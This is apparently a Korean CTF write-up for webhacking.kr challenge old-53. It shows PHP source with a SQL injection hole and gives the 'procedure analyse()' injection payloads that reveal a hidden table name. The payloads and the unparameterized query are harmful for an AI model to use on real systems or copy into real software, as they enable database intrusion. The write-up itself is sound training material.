write-up(web)/webhacking.kr

[Webhacking.kr] old-53

chanchand 2023. 1. 9. 19:19
반응형

문제


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
<?php
  $db = dbconnect();
  include "./tablename.php";
  if($_GET['answer'] == $hidden_table) solve(53);
  if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
  echo($result[0]);
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 

테이블 이름을 알아내서 answer에 입력하면 문제가 해결된다.

 

 

 

 

문제풀이


select, by는 필터링된다.

procedure analyse() 함수를 통해 테이블명을 알아낼 수 있다.

/?val=1 procedure analyse()

limit 이용해서 더 정확하게 볼 수 있다.

/?val=1 limit 0,1 procedure analyse()
/?val=1 limit 1,1 procedure analyse()

 

DB명은 webhacking, 테이블명은 chall53_755fdeb36d873dfdeb2b34487d50a805, 컬럼명은 a임을 알 수 있다.

 

/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-55  (0) 2023.01.10
[Webhacking.kr] old-54  (0) 2023.01.09
[Webhacking.kr] old-52  (0) 2023.01.09
[Webhacking.kr] old-51  (0) 2023.01.05
[Webhacking.kr] old-50  (0) 2023.01.05